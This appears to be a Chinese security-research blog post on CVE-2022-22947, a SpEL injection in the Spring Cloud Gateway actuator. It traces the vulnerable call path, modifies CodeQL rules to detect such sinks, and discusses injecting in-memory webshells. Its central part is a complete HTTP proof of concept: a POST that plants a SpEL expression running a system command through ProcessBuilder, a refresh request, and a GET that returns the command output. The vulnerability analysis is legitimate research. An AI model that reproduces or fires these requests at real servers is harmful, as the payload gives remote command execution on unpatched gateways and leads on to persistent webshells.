1. 程式人生 > 其它 >CVE-2022-22947

CVE-2022-22947

除錯

git clone https://github.com/spring-cloud/spring-cloud-gateway 
cd spring-cloud-gateway 
git checkout v3.1.0
然後idea開啟專案,再除錯或啟動

看一下github的相關程式碼更新,定位漏洞點

https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

紅色部分就是含有漏洞的程式碼,明顯做了一次對SPEL的解析。

在不指定EvaluationContext的情況下預設採用的是StandardEvaluationContext

,而它包含了SpEL的所有功能,在允許使用者控制輸入的情況下可以成功造成任意命令執行。

跟蹤一下漏洞方法的呼叫

normalize方法呼叫了getvalue

normalizeProperties呼叫了normalize方法

在看一下這個類的抽象類AbstractBuilder中的bind方法呼叫了normalizeProperties方法

跟蹤bind方法,發現與loadGatewayFilters方法相關

這裡還呼叫了properties方法,設定了normalize方法中的properties引數

繼續跟蹤,

最後可以定位到路由 /routes/{id}

在官方文件中找到相應的路由說明

找一下filter的結構定義欄位

同時根據路由找到對應的方法

這裡有一個validation方法

可以看到這裡的isAvailable對其做了校驗

在除錯模式下,查詢一下相關的值,發現有28個合法的name

為了獲得回顯,選取AddResponseHeader,它所對應的filter會將值存放到responseheader中

poc

POST /actuator/gateway/routes/123 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "123",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result=",
      "value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ipconfig').start().getInputStream(), 'GBK').useDelimiter('123ada').next()}"
    }
  }],
   "uri": "http://123.com"
}
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36



GET /actuator/gateway/routes/123 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

codeql繼續挖spel

研究了一下,發現source無法直接使用RemoteFlowSources,看了一下RemoteFlowSources在spring裡主要用的是SpringRequestMappingParameter

仔細看了一下規則,發現SpringRequestMappingParameter是SpringRequestMappingMethod的引數,而SpringRequestMappingMethod繼承了SpringControllerMethod,導致目標方法必須帶有controller類的註解才能被識別。

然而,這裡的source的註解為

因此,無法被識別。

所以RemoteFlowFource應該還需要被完善

最後稍稍改了一下SpringRequestMappingMethod的定義,將繼承的類從SpringControllerMethod改成Method就能夠避開controller的限定了

class NewSpringRequestMappingMethod extends Method {
  SpringRequestMappingAnnotationType requestMappingAnnotationType;

  NewSpringRequestMappingMethod() {
    // Any method that declares the @RequestMapping annotation, or overrides a method that declares
    // the annotation. We have to do this explicit check because the @RequestMapping annotation is
    // not declared with @Inherited.
    exists(Method superMethod |
      this.overrides*(superMethod) and
      requestMappingAnnotationType = superMethod.getAnAnnotation().getType()
    )
  }}

  /** A parameter of a `SpringRequestMappingMethod`. */
class NewSpringRequestMappingParameter extends Parameter {
  NewSpringRequestMappingParameter() { this.getCallable() instanceof NewSpringRequestMappingMethod }

  /** Holds if the parameter should not be consider a direct source of taint. */
  predicate isNotDirectlyTaintedInput() {
    this.getType().(RefType).getAnAncestor() instanceof SpringWebRequest or
    this.getType().(RefType).getAnAncestor() instanceof SpringNativeWebRequest or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet", "ServletRequest") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet", "ServletResponse") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet.http", "HttpSession") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet.http", "PushBuilder") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("java.security", "Principal") or
    this.getType()
        .(RefType)
        .getAnAncestor()
        .hasQualifiedName("org.springframework.http", "HttpMethod") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("java.util", "Locale") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("java.util", "TimeZone") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("java.time", "ZoneId") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("java.io", "OutputStream") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("java.io", "Writer") or
    this.getType()
        .(RefType)
        .getAnAncestor()
        .hasQualifiedName("org.springframework.web.servlet.mvc.support", "RedirectAttributes") or
    // Also covers BindingResult. Note, you can access the field value through this interface, which should be considered tainted
    this.getType()
        .(RefType)
        .getAnAncestor()
        .hasQualifiedName("org.springframework.validation", "Errors") or
    this.getType()
        .(RefType)
        .getAnAncestor()
        .hasQualifiedName("org.springframework.web.bind.support", "SessionStatus") or
    this.getType()
        .(RefType)
        .getAnAncestor()
        .hasQualifiedName("org.springframework.web.util", "UriComponentsBuilder") or
    this.getType()
        .(RefType)
        .getAnAncestor()
        .hasQualifiedName("org.springframework.data.domain", "Pageable") or
    this instanceof SpringModel
  }
}

最後就能成功找到source

重新想了一下,發現入手點錯了。

post方法寫入惡意spel表示式,get方法訪問對應uri才是觸發漏洞的方法。導致從post入手不行,應該用以下方法作為source,這時候發現好像不應該用汙點跟蹤,因為不是以引數作為輸入的

需要惡補java開發的知識,如Mono,flux等。

這裡後續去看了一下發現漏洞的師傅的文章,發現之前一直沒有檢測出來也是因為remoteFlowSource不夠完善,但是對於師傅的文章還是有些疑問,無法復現

https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

注入記憶體馬利用

​ 看了師傅的一些文章,發現這裡的記憶體馬其實有兩種注入方法,一是從spring框架入手,另外就是從使用的netty中介軟體入手。

spring框架的記憶體馬注入

首先由於需要找到RequestMappingHandlerMapping

可以看到漏洞點附近有beanFactory引數,因此可以從這裡入手,在附近下斷點除錯,可以找到beanFatory中有RequestMappingHandlerMapping,那麼直接在spel表示式中呼叫@RequestMappingHandlerMapping,作為引數傳入注入的程式碼中即可。

在接下來的地方卡了好久,發現spring-cloud-gateway 使用的是webflux框架,而不是之前遇到的springmvc,才會報出classNotfound的錯。相應的payload也需要做一些改變。

最後結果

坑點

元件版本一定要搞清楚,坑

還有就是

這裡的Retry引數,到時候再看一下

小bug 如果用addResponseHeader作為引數,最後被注入的方法並不是記憶體馬的方法,而是寫在後面的測試方法(彈計算器)